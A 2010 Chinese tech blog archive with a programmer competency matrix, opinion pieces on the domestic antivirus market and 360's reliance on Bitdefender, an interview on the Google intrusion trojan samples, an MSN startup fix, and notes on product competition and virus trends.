博客首页|TW首页| 同事录|业界社区
2010-03-24

注意:每个层次的知识都是渐增的,位于层次n,也蕴涵了你需了解所有低于层次n的知识。

 

计算机科学 Computer Science
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
数据结构 不知道数组和链表的差异 能够解释和使用数组,链表,字典等,并且能够用于实际的编程任务。 了解基本数据结构时间和空间的折中,比如数组vs 链表,能够解释如何实现哈希表和处理冲突,了解优先队列及其实现。 高等的数据结构的知识,比如B-树、二项堆、斐波那契堆、AVL树、红黑树、伸展树、跳跃表以及前缀树等。  
算法 不能够找出一个数组各数的平均值(这令人难以置信,但是我的确在应聘者中遇到过) 基本的排序,搜索和数据的遍历和检索算法。 树,图,简单的贪婪算法和分而治之算法,能够适度了解矩阵该层的含义。 能够辨识和编写动态规划方案,良好的图算法知识,良好的数值估算的知识,能够辨别NP问题等。 Working with someone who has a good topcoder ranking would be an unbelievable piece of l****!
编程体系 不知道何为编译器、链接器和解释器。 对编译器、链接器、解释器有基本的了解。知道什么是汇编代码以及在硬件层如何工作。有一些虚拟内存和分页知识。 了解内核模式vs用户模式,多线程,同步原语以及它们如何实现,能够阅读汇编代码。了解网络如何工作,了解网络协议和socket级别编程。 了解整个程序堆栈、硬件(CPU+内存+中断+微码)、二进制代码、汇编、静态和动态链接、编码、解释、JIT(just-in-time)编译、内存碎片回收、堆、栈、存储器编址…  
软件工程 Software Engineering
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
源码版本控制 通过日期备份文件夹 VSS和初级的CVS/SVN用户 熟练地使用CVS和SVN特性。知道如何分支和归并,使用程序库补丁安装特性等 有分布式VCS系统的知识。尝试过Bzr/Mercurial/Darcs/Git  
自动化编译 只知道在IDE下编译 知道如何编译在命令行下编译系统 能够安装一个脚本构建基本的系统 能够安装一个脚本来构建系统并且归档,安装程序,生成发布记录和给源码控制中的代码分配标签。  
自动化测试 认为所有的测试都是测试员的工作。 能够编写自动化的单元测试,能够为正在编写的代码提出良好的测试用例。 按照TDD (Test Driven Development)方式编写代码。 了解并且能够有效自动化安装,载入/性能和UI测试  
程序设计 Programming
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
问题分解 只有直线式的代码,通过复制粘贴来复用 能够把问题分散到多个函数中 能够想出可复用的函数/对象来解决大题的问题 使用适宜的数据结构和算法,写出通用的/面向对象的代码来封装问题的易改变的层面。  
系统分解 N想不出比单一的文件/类更好的层面 如果不在同一平台或没采用相同的技术,能够把问题空间和设计方案分解。 能够设计跨技术/平台的系统。 能够在多个产品线和与外部体系一体化中虚拟化和设计复制的系统。同时也能够设计支持系统监视、报告、故障恢复等。  
交流 不能向同伴表达想法/主意。匮乏拼写和语法的能力。 同伴能了解你在说什么。有良好的拼写和语法能力。 能够和同伴进行高效的交流 能够使用清晰的方式了解和交流想法/设计/主意/细则,能适应每种环境的交流 This is an often under rated but very critical criteria for judging a programmer. With the increase in outsourcing of programming tasks to places where English is not the native tongue this issue has become more prominent. I know of several projects that failed because the programmers could not understand what the intent of the communication was.
同一文件中代码组织 同一文件中组织没有依据 按照逻辑性或者易接近的方法 代码分块和对于其他源文件来说是易于是释,引用其他源文件时有良好的注释 文档头部有许可声明,总结,良好的注释,一致的空格缩进。文档外观美观。  
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
跨文件代码组织 没够想过给代码跨文件组织 相关文件按文件夹分组 每个物理文件都有独立的目的,比如一个类的定义,一个特性的实现等。 代码在物理层组织紧密,在文件名上与设计和外观相匹配,可以通过文件分布方式洞察设计理念。  
源码树组织 一切都放在一个文件夹内 初步地将代码分散进对应逻辑的文件夹。 没有循环依赖,二进制文件,库,文档,构建,第三方的代码都组织进合适的文件夹内。 源码树的物理布局与逻辑层次、组织方式相匹配。可以通过目录名称和组织方式洞察设计理念。 The difference between this and the previous item is in the scale of organization, source tree organization relates to the entire set of artifacts that define the system.
代码可读性 单音节的名称(在国内应该是那些类似用汉语拼音命名的习惯) 对文件、变量、类、方法等,有良好的命名。 没有长函数、注释解释不常规的代码,bug修复,代码假设。 代码假设验证使用断言,自然的代码流,没有深层嵌套的条件和方法  
防御性编码 不知道这个概念 检查代码中所有的参数,对关键的假设进行断言 确保检查了返回值和使代码失败的异常。 有自己的库来帮助防御性编程、编写单元测试模拟故障  
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
错误处理 只给乐观的情形编码 基本的代码错误处理,抛出异常/生成错误 确保错误/异常留在程序中有良好的状态,资源,连接,内存都有被合适的清理。 在编码之前察觉可能出现的异常,在代码的所有层次中维持一致性的异常处理策略,提出整个系统的错误处理准则。  
IDE IDE大部分用来进行文本编辑 了解其周围的接口,能够高效地通过菜单来使用IDE 了解最常操作的键盘快捷键 编写自定义宏  
API 需要频繁地查阅文档 把最频繁使用的API记在脑子里 广阔且深入的API知识。 为了使实际任务中常用API使用更加便捷,编写过API的上层库,填补API之间的缺口。 E.g. of API can be Java library, .net framework or the custom API for the application
框架 没有使用过主平台外的任何框架 听过但没用过平台下流行的可用框架 在专业的职位中使用过一个以上的框架,通晓各框架的特色。 某框架的作者  
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
需求分析 接受给定的需求和代码规格 能对规格的遗漏提出疑问 了解全面情况,提出需要被规格化的整体范围。 能够提出更好的可选方案,根据经验的浮现给出需求  
脚本 不具备脚本工具的知识 批处理文件/shell脚本 Perl/Python/Ruby/VBScript/Powershell 写过并且发表过可重用的代码  
数据库 认为Excel就是数据库 知道基本的数据库概念,规范化、ACID(原子性Atomicity、一致性Consistency、隔离性Isolation、持久性Durability)、事务化,能够写简单的select语句 能够牢记在运行时必要查询中设计良好的规范化数据库模式,精通用户视图,存储过程,触发器和用户定义类型。知道聚集与非聚集索引之间的差异。精通使用ORM(Object Relational Mapping对象关系映射)工具 能做基本的数据库管理,性能优化,索引优化,编写高级的select查询,能够使用相关sql来替换游标,理解数据内部的存储,了解如何镜像、复制数据库。知道两段数据提交如何工作  
经验 Experience
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
专业语言经验 命令式语言和面向对象语言 命令式语言,面向对象语言和说明型语言(SQL),如果了解静态类型vs动态类型,弱类型vs强类型则有加分 函数式语言,如果了解延缓求值,局部套用函数,延续则有加分 并发语言(Erlang, Oz) 逻辑语言(Prolog)  
专业平台经验 1 2-3 4-5 6+  
专业经验年龄 1 2-5 6-9 10+  
领域知识 没有该领域的知识 在该领域中曾经至少为一个产品工作过 在同一领域中为多个产品工作过 领域专家。在该领域设计和实现数种产品/方案。精通该领域使用的标准条款和协议  
学识 Knowledge
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
工具知识 仅限于主要的IDE VS.Net, Eclipse等) 知道一些流行和标准工具的备选方案 对编辑器、调试器、IDE、开源的备选方案有很好的了解。比如某人了解大多数Scott Hanselman的威力工具列表中的工具,使用过ORM工具。 实际地编写过工具和脚本,如果这些被发布则有加分  
语言接触 命令式语言和面向对象语言 命令式语言、面向对象语言和说明型语言(SQL),如果了解静态类型vs动态类型、弱类型vs强类型则有加分 函数式语言,如果了解延缓求值、局部套用函数、continuations (源于scheme中的一种高级控制结构)则有加分 并发语言(Erlang, Oz) 逻辑语言(Prolog)  
代码库知识 从来没有查询过代码库 基本的代码层知识,了解如果构建系统 良好的代码库工作知识,实现过几次bug修复或者完成了一些细小的特性 实现了代码库中多个大型特性,能够轻松地将多数特性的需求变更具体化,从容地处理bug修复。  
下一代技术知识 从来没听说过即将到来的技术 听说过某领域即将到来的技术 下载过alpha preview/CTP/beta版本,并且读过一些文章和手册 试用过预览版而且实际地构建过某物,如果共享给其他人的话则有加分  
  2n (Level 0) n2 (Level 1) n (Level 2) log(n) (Level 3) Comments
平台内部 对平台内部毫无所知 有平台基本的内部工作的知识 深度的平台内部知识,能够设想平台如何将程序转换成可执行代码。 编写过增强平台或者为其平台内部提供信息的工具。比如,反汇编工具,反编译工具,调试工具等。  
书籍 菜鸟系列,21天系列,24小时系列,蠢货系列… 《代码大全》,《别让我思考》, 《精通正则表达式》 《设计模式》,《人件》,《代码珠玑》,《算法设计手册》,《程序员修炼之道》,《人月神话》 《计算机程序设计与解释》,《事务处理:概念与技术》,《计算机程序设计模型》,《计算机程序设计艺术》,《数据库系统导论》 C.J Date版,《Thinking Forth》 ,《Little Schemer》(没找到其中译本)  
博客 听过但是从来抽不出空去接触 阅读一些科技/编程/软件工程的博客,并且经常的收听一些播客 维护一些博客的链接,收集博主分享的有用的文章和工具 维护一个在编程方面,分享有个人见解和思考的博客  

金山卫士,360安全卫士,相似的名字,相似的功能,相似的市场定位,引发的不仅是一场激烈的近身肉搏战,更是2010年杀毒市场硝烟再起的端倪,新一轮的洗牌即将上演。

两个卫士同台竞争

3月8日,国内反病毒领域的三驾马车之一,金山公司宣布推出一款名为金山卫士的安全产品,这款与360安全卫士有着类似名字的产品,具备木马病毒检测、修补系统漏洞、清理恶意插件和修复IE等功能,而这些功能,也几乎都是早先进入这个市场的360安全卫士中吸引用户的热点功能。金山的这一举动,显然在安全领域引起了极大的关注。从某种意义上来说,依靠推出一款与360安全卫士相同的产品,金山将安全市场带入了一场新的战争之中。

金山毒霸在当年进入杀毒市场时的场面,其实与今天的360颇有相似之处,金山毒霸通过长时间的免费测试版,不仅吸引来众多用户,还提升了软件的稳定性。当金山毒霸成为能够和江民、瑞星抗衡的第三方势力后,才开始走向收费。

而在今天,国内安全市场中风头最劲的显然是360,360的免费模式,显然撼动了许多传统杀毒厂商现有利益。依靠一种简单、原始但是有效的补丁修复等几个安全功能,短短两年时间,360安全卫士就牢牢地吸引住了用户。加上“免费”这个无法抵御的诱惑与杀手锏,几乎所有的传统安全厂商在这场由360制定规则的战争中都显得异常被动。

时至今日,国内的安全厂商仍然在争论杀毒是否应该付费,然而现实是,依靠免费概念的360,在杀毒市场不断攻城略地,市场占有率急速攀升。因此如何摆脱360的魔咒,摆脱360通过安全卫士构筑的防线,成了其他杀毒软件公司能否在市场中扳回一局的关键。

在金山推出金山卫士前,腾讯公司也已经开始进入这个市场。在国内,几乎市场中每诞生一个有希望的产品领域,腾讯最终都可能会出现。当安全卫士这个新兴且技术门槛不高的市场火爆后,腾讯又一次出现在市场之中,QQ医生迅速从IM软件中的一个密码保护模块变身成了一个款精简的360安全卫士。但腾讯的战线注定了QQ医生目前还不会成为腾讯最关注的产品,它只是腾讯众多棋子中的一个,安全软件对腾讯而言,是否拥有似乎比是否改变格局更重要。

而且在众多用户的潜意识中,腾讯本来就是一款不依靠软件收费的公司,因此QQ医生引发的关注并不如金山卫士这般轰动。作为传统杀毒软件厂商重要力量之一,金山推出一款和360安全卫士极其类似的产品,这究竟意味着什么呢?

静观其变不如主动出击

回顾国内杀毒市场的风云变化,在金山卫士诞生前,也曾有多家传统杀毒软件厂商推出过免费的安全软件。瑞星的卡卡几乎是伴随着360安全卫士的一起推出的,但瑞星卡卡在某种程度上只是瑞星为了防止自己的用户被360安全卫士拉拢走,而没有下定决心掀起一场面对面的较量,因此并没有从根本上改变360安全卫士迅速壮大的局面。

更令国产杀毒软件厂商紧张的是,360不仅通过免费概念壮大自己,还在国内杀毒市场中引进了诸多的国际竞争对手。卡巴斯基几乎是伴随着360的免费战略一夜之间走红的,而Nod32似乎也找到了进入中国市场的最好跳板,它们在中国市场瞬间寻找到了巨大的用户群。几乎在很短的时间内,国内的杀毒厂商不得不去面对这样一个战场:依靠免费馅饼吸引来众多用户的360,通过推广合作,在市场中引来新的竞争者,开始蚕食国内厂商的收费市场。

不过此时国内厂商仍然没有太多的本质变化,因为从技术角度而言,360安全卫士终归是一款不能够杀毒的免费辅助工具,并不能对杀毒软件市场构成根本的威胁。此时包括金山在内的众多公司,也推出了免费的安全辅助工具,例如金山清理专家,有相同的产品,阻止用户因为功能差异而流失。可以说,这个阶段,多数安全厂商采取的都是静观其变的策略。

但新游戏的规则制定者显然并没有满足于此,在安全辅助工具360安全卫士已经颇具规模后,360不再满足于仅仅成为这个市场中的配角,在和罗马尼亚的BitDefender杀毒公司建立合作后,360终于推出了自己的免费杀毒软件,并且开始投入巨资在媒体中广告宣传。

市场又一次发生了根本性的变化,而且这种变化时许多杀毒厂商所不能够承受的。面对这种局面,包括国内厂商似乎只有两种选择,要么继续坚守收费策略,慢慢地等待用户的流失。要么将现有产品免费,继续按照对手的规则出牌。无论哪种选择,都是过于被动甚至看不到希望的道路。

而金山卫士的出现,显然给出了另一个答案,通过一种主动出击的方式,将战火引向360赖以成名的市场中,直接和360展开正面的竞争。应该说,金山卫士是现阶段对360打击最大的产品。功能和心态上的趋近,无疑在市场上让用户有了一种除360之外的选择。通过这种主动出击,金山卫士即便无法撼动360安全卫士的地位,也可能顺利地成为市场中此类软件的第二名,而这意味着金山卫士已经取得成功。

安全领域新一轮混战已经上演

无论在媒体上360表现的如何大度,都不能够遮掩金山卫士对360的打击。由于功能和形态上的趋近,金山卫士的推出必然将再次改变杀毒市场中的竞争格局,此前市场中360安全卫士一直没有对手,金山显然已经给360制造了一个对手。

没有对手前,360安全卫士可以依靠绝对的用户群和没有竞争性产品,通过用户量和广告取得不菲的收益,但是金山卫士的出现很可能会瓦解360安全卫士的用户群,因为相对于目前依靠广告等挣钱的360而言,金山卫士从金山毒霸收费用户那里仍然能取得稳定的现金流,提供一个正如我们现在看到的,0广告的安全软件,一旦用户流失分化,就会动摇360目前的免费盈利模式。

金山推出金山卫士之后,很可能会打破传统杀毒厂商行业内的僵持局面,最可能出现的就是接下来的这一段时期内,国内传统杀毒软件厂商会纷纷转型,开始向互联网免费模式摸索。从市场现有的免费杀毒软件发展来看,从2010年开始各个传统杀毒软件厂商,已经开始纷纷部署自己的免费安全软件,国内的瑞星推出了卡卡,江民推出了安全专家,安天实验室推出了锐甲安全中心。

随着厂商对于免费接受程度和市场的竞争,这些已经推出了免费杀毒软件的厂商,在未来如果也加强免费软件的开发力度的话,那么360很可能会遭遇到众多厂商围堵的困境。毕竟对于如今天天在央视做广告的360而言,用户群的严重分化会导致广告等一系列收入的大幅度下滑,最终导致的很可能是360的风险投资商资金与信心崩溃,因为没有人可以这场永远只投入却看不到胜利的战争之中。

据悉,金山已经将金山毒霸分立为独立子公司,并开始了战略转型的前奏。而前不久,拥有庞大用户群体的腾讯也在QQ医生上投入了巨资,招兵买马,并且通过向用户强推QQ医生导致了和360的冲突,如今金山卫士的加入,很可能吹响的是未来国内杀毒软件厂商在免费杀毒战争中的第一声号角。

2010-03-12

近日,谷歌入侵事件再次成为热点,而此前对此问题,国内唯一发布了有关分析报告的安全企业安天实验室,记者为此采访了分析报告的执笔者之一安天副总工程师、安天CERT负责人李柏松。

记者:请问安天1月26日发布的《多家企业网络入侵事件传言的同源木马样本分析报告》实际就是指谷歌等国际企业被入侵的事件么?为什么报告中所提十分隐晦,没有提及任何企业的名字,是有某种压力么?

李柏松:报告中没有提及具体企业名称有两个原因。首先,传闻中的企业没有一家在公开的官方渠道承认自己受到了入侵。其次,我们进行的是样本同源性分析,只能根据公开资料判定所捕获到的样本与事件宣称的样本来源,但无法前推到每个样本对应的第一场景在哪里。因此我们使用了“多家企业网络入侵事件传言”这一语汇,同时明确分析的是“同源木马样本”。我们觉得这样是谨慎和严肃的。

记者:你们的报告很长,而且其中部分内容不太容易被网民理解,能最简要概括一下攻击者的方法么?

李柏松:基本可以概括为,短时间内集中使用客户端软件0DAY漏洞注入木马,造成内网终端被渗透;使用开源网管工具改造为后门进行进一步活动;使用免费二级域名为一级控制跳板,每一组不同的样本对应一个不同的二级域名作为跳板。

记者:大概有多少组样本?

李柏松:从根据各厂商资料的汇总来看,有不少于24组样本。

记者:你觉得有关攻击者有非常强的0DAY漏洞分析挖掘能力么?

李柏松:目前的情况看,只能说攻击者在第一时间集中的使用了0DAY漏洞,但在地下经济比较发达的现实背景下,0DAY的买卖和交易是比较普遍的。一些合法的安全企业也在收购漏洞,比如类似美国CoreSecurity、Idefense,英国的Qualys等公司都公开的收购漏洞。瑞典的WabiSabiLabi是一个漏洞交易平台。加上各种新闻组、安全研究的IRC等的交流,都会使漏洞的流向呈现出一些不确定性。使用者和挖掘者之间,往往难以追索到必然的关联。

记者:安天的报告似乎没有给出倾向性结论?

李柏松:这篇报告确实完成的比较仓促,但应该说客观的解释了有关攻击和病毒的工作机理,理清了样本之间的关联,给出了用户对应的安全建议。此外,我们还特别更新了主机安全配置建议文献。作为反病毒企业的优势就是可以利用自身的捕获体系和国际交流机制尽快获取样本,之后对其进行全面分析,这就是反病毒工作的原点和发力点。反病毒厂商也很难有超出样本分析以外的方法和资源体系,超出这个范围,就只能是妄加臆断了。

记者:但在震荡波病毒爆发后,安天曾明确认为病毒作者位于德国,而且几天后作者真的在德国被捕了。

李柏松:当时对震荡波病毒的判断正确的原因主要是判定出了震荡波和网络天空病毒的同源性。而而且网络天空病毒流行的时间较长,版本众多,可以追踪的线索也比较多。其作者在德国有一定的佐证。但当前,网络安全的形势更加复杂化,包括木马的代码等资源被广泛买卖交易,大量资源被公开或者有偿的分享,代码的同源性判断对于地缘追踪的价值大大降低。比如这次漏洞采用的后门是AT&T的前开源网管工具项目VNC,但肯定不能说攻击和AT&T存在某种关联。05年和之前的很多有效的样本朔源方法,在当前情况下都不再适用了。

记者:如何看待目前国外报道攻击指向两所国内学校的结论。

李柏松:我目前只是看到了新闻报道,目前也没有相应的、比较负责任的配套分析被公开。从当时我们自己的样本分析来看,我们分析出的域名加上国际上各兄弟厂商分析出的域名中,大部份域名指向已经被服务商屏蔽到本地地址,但尚未被屏蔽少数域名的IP指向分布到了不同的国家,其中包括了美国、荷兰等等。从我们过去分析的大量木马样本来看,采用2级域名进行指向跳转是一种比较典型普遍的攻击方法,而一但入侵完成后,修改域名指向到无关IP,也是屡见不鲜的典型干扰追踪手段。从大量分析也可以看到,很多木马采用的是多级控制机制,如果没有全面的国际协作机制,很难找到其真实的控制原点。

记者:我们注意到安天在赛门铁克误杀微软等引发社会关注的安全事件后,都发了分析报告。这是一种传统么?

李柏松:我们觉得安全厂商有3种责任,即提供合格的产品、良好的服务和客观的信息。这只是履行责任的过程吧。

记者:安天发布分析结论会遇到一些干扰么?比如赛门铁克误杀微软事件,是否国内民意更期望后门是存在的,而微软则是希望澄清的。因为曾经有声音说过,安天当时关于误杀的分析报告有利于微软。

李柏松:每个人、每个团体都会有自己的立场倾向。但技术研究必须尊重客观事实、讲求科学规律。我们需要做的是分析实际的情况,并依据事实做出负责的分析,这是不可以动摇和妥协的。

记者:但我们在本次相关分析报告报告的结论部分中也看到一些很感性的语言,而且似乎对整个网络安全的前景看的悲观。

李柏松:对于未来我们从来都是乐观的,而对用户和网民的关切是网络安全工程师的基本情感。

2010-02-09

 MSN是一款办公用户在工作时使用较多的即时通讯工具,它以其良好的便捷性而备受白领朋友的喜爱。最近,网络中有许多网友反映,自己安装的MSN(Windows Live Messenger)无法正常启动。后经微软证实,造成这个问题的原因是部分用户安装的MSN保护盾2.0在Update过程中出现了问题,从而导致Messenger程序无法正常启动。

这次MSN不能够启动的症状也很特殊,用户双击MSN图标运行程序,系统会有读取操作,但MSN主程序不能够被运行,之后再无反应。尝试重启后操作同样如此!尝试卸载MSN后重新安装依然存在同样的问题。
具体症状如下:
Windows XP:在启动时遇到提示“应用程序异常unknown software exception(0xC00000d)”。
     
 
Windows Vista 或 Windows 7:无法启动Windows Live Messenger。
     
 
经过安天工程师分析,该问题是由于用户安装的保护盾2.0在更新系统文件时出现了故障,引起Messenger程序不能正常启动。卸载MSN重新安装之后问题仍然存在,这让许多用户很郁闷。目前,这一个问题已经得到了修复,可以使用下列方法进行修复。
 
解决方法
方法一:下载并运行锐甲上网保护器:http://www.ruijia.cn/
如果您的MSN存在无法登录的问题,在锐甲界面上会有一个修复MSN的选项:
     
 
      点击该修复选项后,会弹出如下提示:
     
 
      点击“确定”按钮开始修复,锐甲即可自动修复MSN的这个Bug:
     
 
方法二:用户可以手工删除下述路径中的bl.dat文件
Windows XP:C:\Documents and Settings\用户名\Local Settings\Application Data\wlmkv\ bl.Dat
Windows 7 或Windows Vista:C:\Users\用户名\AppData\Local\wlmkv\bl.Dat
系统如果看不到Local Settings\Application Data或者AppData\Local 请按下图设置
Windows XP:

       Windows Vista 或 Windows 7:

如果我没有记错,在卡巴斯基刚在央视播放那个成龙拍摄的广告时,360的周鸿祎曾经怨妇般的说,在央视做广告,每次都要消耗掉一辆帕萨特汽车,这些都是那些杀毒奸商们用消费者的钱买来的,不知道现在360在CCTV6播放的广告每次要烧掉一个什么设备。

周鸿祎从2008年开始,一直希望能够通过360的庞大用户群体,探索出一种模式上市,但是从我目前的感觉,这条路似乎还很漫长。首先360杀毒使用的并不是360自己的反病毒引擎技术,而是源于罗马尼亚的Bitdefender,虽然360一直宣称自己购买了Bitdefender的引擎技术,等于自己也拥有了杀毒引擎,并且能够掌握360杀毒的病毒库与样本,然而事实并非如此,通过一个事例就可以揭开其中的真相。

360杀毒在很长的一段时间总是报木马克星这款软件是病毒,这显然是杀毒软件误判造成的,但是这个问题在网友反映了很长一段时间后仍然没有办法解决,其实无法解决并不是因为360杀毒响应速度慢,而是因为360杀毒根本就360自己的壳,它无法掌控自己本地的病毒库。

其实在和Bitdefender这场交易中,360和Bitdefender谁都没有吃亏。能够促成这场双赢买卖的一个因素是360使用Bitdefender的引擎,没有花一分钱。Bitdefender等于完全将自己的引擎技术免费提供给360使用了。为什么Bitdefender没有向360收钱呢?首先Bitdefender在国外,也有自己的一款免费版杀毒软件,目的就是通过基本的杀毒防护功能,扩大自己的影响,收集到更多病毒样本。

所以,360想使用Bitdefender的反病毒引擎,或者使用Bitdefender的杀毒程序,贴上自己的皮让它变成360杀毒的时候,Bitdefender自然很高兴,因为它不仅可以扩大自己在中国市场的影响力,更能够通过庞大的用户群体收集到无数的病毒样本。由于只是换成360的中国皮,并没有将核心引擎等技术给360,因此对于Bitdefender这是一个不吃亏的买卖。

而对于360而言,这笔生意也不吃亏,首先360安全卫士自从和国内的引擎厂商安天公司的安天防线中断合作后,杀毒能力直线下降,杀毒能力弱就一直被用户诟病,特别是瑞星等又推出卡卡,欲挤压360安全卫士的生存空间,360安全卫士此时如果再没有什么绝招,在用户和对手的双重打压下,最终肯定会只有死路一条,想必这一点周鸿祎也很清楚。而和Bitdefender合作之后,推出免费的360杀毒,不仅能够在口碑上弥补自己杀毒能力弱的致命短处,而且还能够通过免费这个狠招,给自己的对手瑞星、卡巴斯基等一击重拳,直捣对手的死穴。

但使用Bitdefender的引擎也不全然都是好处,因为360杀毒的病毒库等于全部都是Bitdefender方面在维护,或者说在与Bitdefender同步,因此360等于根本无法操控这款烙印着自己名字的杀毒软件。虽然360一直宣称自己购买了Bitdefender的引擎技术,但是其实只是嘴硬,试想微软会将自己的操作系统卖给某个厂家让对方也生产360操作系统吗?当然不会,所以360在和Bitdefender的这场交易中,只是当了一回番茄花园,仅仅是修改了优化了一层皮,而杀毒软件后面的关键技术都没有掌握。也正是因为如此,才出现了前面木马克星屡屡被误报,但是360又无能为力的现象。

于是无奈之中,360只好用了另外一个对策,在建立一个自己的网络白名单,也就是所谓的“云验证”,这个白名单被360吹嘘为自己的第二套引擎。通过这套云验证方法,360等于做了一个巨大的白名单,一旦360杀毒误杀了什么软件,而Bitdefender方面又没有快速跟进的时候,360杀毒就通过网上验证一下这个文件的特征,然后在翻查一下自己网络中的白名单,看看这份白名单中是否有这款软件的名字,如果有,就再次认定这款软件是无害的,这套做法完全是一个无奈之举。

可这个无奈之举,也为360带来了新的机遇,这就是360在逐步的摆脱Bitdefender,或者说偷取Bitdefender的病毒库资源。360怎么偷取Bitdefender的病毒库资源呢?首先360杀毒杀出病毒之后,都需要通过360自己可以掌控的云验证服务器验证一下,这个过程中,360就可以将用户使用Bitdefender引擎查杀出来的病毒上传到自己的服务器中,随着日积月累,360早晚会积累出一份和Bitdefender一样的巨大病毒样本库,这种病毒样本库通常是杀毒公司非常宝贵的资源之一,也是竞争实力之一。

等360的病毒样本数量和Bitdefender不相上下的时候,那一天的到来也就意味着360就可以彻底抛弃Bitdefender这个傀儡伙伴了。届时,360可以研发自己的引擎,也可以仅仅通过云查杀,继续纵横在杀毒的江湖中。

但是我也一直很奇怪,周鸿祎除了帮助其它软件做推广、卖广告之外,还怎么赚钱呢?要知道现在他也天天在CCTV烧汽车(虽然不是帕萨特)。这一点有机会下回我会试着跟大家详细分解。周鸿祎到底在打什么算盘呢?这到底是一场豪赌?还是一场阴谋?一切且听下回分解……

2010-02-08

作为产品经理也需要牢记,并不是所有的信息都是同等重要的。产品经理必须了解自己的竞争优势在什么地方。这些竞争优势包括产品经理自己的优势,公司在市场中的品牌、地位等优势,还有团队的战斗能力。详细的评估了这些优势之后,就可以知道有哪些竞争情报是能够有助于保护我们的竞争优势的。以软件行业为例,如果你的优势在于领先于行业内的技术实力,那就应该持续保持在竞争对手的技术标准和亮点水平之上,以免竞争优势遭到威胁。假使你的差异化重心是技术支持,那你可要随时注意竞争对手在服务与技术支持中对于你产品定位的负面影响。一个产品经理的工作就是要避免被迫进行伤及企业根本利益的战争,例如价格战。这样就可以理解为什么大部分的产品经理都很关系如何取得竞争产品的价格和成本情报了,当然也要注意,如果只收集到了对手的价格情报,那么也很可能因为焦点偏移的问题,导致产品经理被迫只关心在价格上的竞争。

大多数竞争产品的价格是可以通过公开途径获取的,当然这些通过公开途径取得的竞争产品价目表可能并不是对手向“真正的客户”交易的真实价格,但是仍然可以通过长期的动态跟踪这些价格变化来收集信息,观察对手的变化曲线。有的时候,一个公开价格的改变,也可以让我们重新进行评估,例如价格的突然变动是否和企业重组或者企业能力、方向、市场战略转变有关呢?这些因素通常会能够让我们从战略层面上分析出更多竞争对手要做出的变化。

在实际的过程,总会有多个因素引发企业的产品战略上存在潜在变化,比较典型的因素有:管理层或管理团队改变、企业能力改变、企业宗旨或方向改变。从管理层改变这个因素来看,如果你的竞争对手组建了一个全新的管理团队,这很可能暗示着它可能会有新的战略方向调整,特别是原管理团队迫于董事会的压力变更时,更需要注意,当然信的团队也可能是董事会为了让新团队继续延续之前的管理团队创造的辉煌业绩。所以此时应该仔细竞争对手新团队管理人员在此前服务的企业中主要负责的职责和战略方向,并且假设他们在进入新的团队后策划类似的战略变革。

企业能力的改变可能是由于增设新的营业据点、研发投资增加,或者增聘新的人员。我们需要将产业内的期刊、协会信息、对方招聘信息和其他个人渠道所取得的信息拼凑到一起,便可以评估竞争对手“未来”战略的方向和影响。招聘信息不只可以提醒你的竞争对手战略可能会增加哪些方面的人力需求,也能够达到向外界吸引人才的推销公司的优势,因此同样能够分析出竞争对手的公司信息。

而企业宗旨的改变更是暗示了一个全新的战略方向。例如,一家企业的宗旨口号从“成为技术顶尖级导向企业”修改为“成为用户导向的技术企业”,就明确表明了这家公司在新战略中提升了“服务”的重要程度。这新信息大多适用于“团队竞争”。

最后需要牢记的是,产品经理应该要对竞争对手的崛起有所警觉。这种警觉的敏感应该被注入在产品经理的神经中,也只有这种警觉才能够有助于预测市场变动以及感知特定竞争者的行动和反映,甚至发现新的潜在竞争情况,这样才能让产品屹立不败,抵御住正在企图抢走你的主要客户的攻击。

2010-01-04

2009年,用电脑需要安装杀毒软件,几乎已经成为了每个用户的常识。而现在互联网让病毒变得更加疯狂,它们变化速度快,传播途径多,如今的电脑病毒,已经不单再是地域特色的病毒,而是像一场每天都在发作的全球化瘟疫。

 

无所不用的途径

机器狗、熊猫烧香,这些当年泛滥成灾的病毒都遵循了一个非常简单的真理——无所不用的传播途径。U盘、手机、Mp3、电子邮件、QQ等众多感染方法,都是促成这两款病毒大范围流行的助推剂。而进入2009年以后,越来越多的病毒开始争相模仿那些成功的病毒案例,可以说如今的病毒几乎个个长得都像熊猫烧香,都像机器狗。

通过多种方法感染用户的电脑,大大增加了病毒的生存和传播能力。一个去照片打印店打印数码照片的学生,通常都会感染打印店电脑中的U盘病毒,而这个U盘又会通过各种途径感染教师、宿舍和其他地方的电脑。

除了感染传播介质,许多病毒作者也开始将变身兼职黑客,通过入侵网站挂马这种方式进行病毒传播。根据安天实验室统计显示,2009年共拦截恶意网站6,550,000个,以8月拦截最多830,000个。因为被挂马的网站访问量的大小会直接导致中木马机率的高低,所以现在挂流量大的网站已成为新的趋势。就同现今流行的甲流一样,2009年的病毒已经盯上了所有的传播途径,让你防不胜防!

 

变种更新快速化

快,是网络时代的速度。在网络时代,病毒也变得越来越快速,这种快速体现在病毒变种的速度上。以前病毒出现变种,往往需要再次重演一遍之前的病毒感染过程。不过网络改变了一切,网络时代杀毒软件升级速度越来越快,病毒变种的生存时间越来越短。但病毒作者们很快找到了应对之道,他们不再投放单一的病毒,而是通过病毒下载器这种只有下载功能的病毒传播平台,让网络用户源源不断的从他们制定的地方下载新病毒。

这些下载的病毒一旦能够被杀毒软件大范围的查杀,他们很快就够制造出变种,并进行更新,让你永远也无法斩尽杀绝所有的病毒。下载、变种将在未来形成一套更为强悍的网云病毒变种体系。

 

云杀毒时代来临

进入21世纪以来,病毒诞生的速度每天都在增长,反病毒软件公司似乎陷入了一个看不到尽头的黑洞中,为了应对这种激增,需要雇佣大量的病毒分析员。然而这仍然无法应对每天突增的病毒,误杀误报事件也逐渐增多。

云计算的出现让杀毒软件厂商看到了希望,通过云杀毒,软件公司可以通过用户人群的人海战术,发现那些可疑的病毒程序,让病毒查杀的时间和查杀的效率大大提高。不过目前云杀毒技术概念仍然很模糊,目前有安天探云计划、360云查杀、瑞星云安全等多种基于不同理念的云杀毒技术。

 

反病毒软件变身网络安全软件

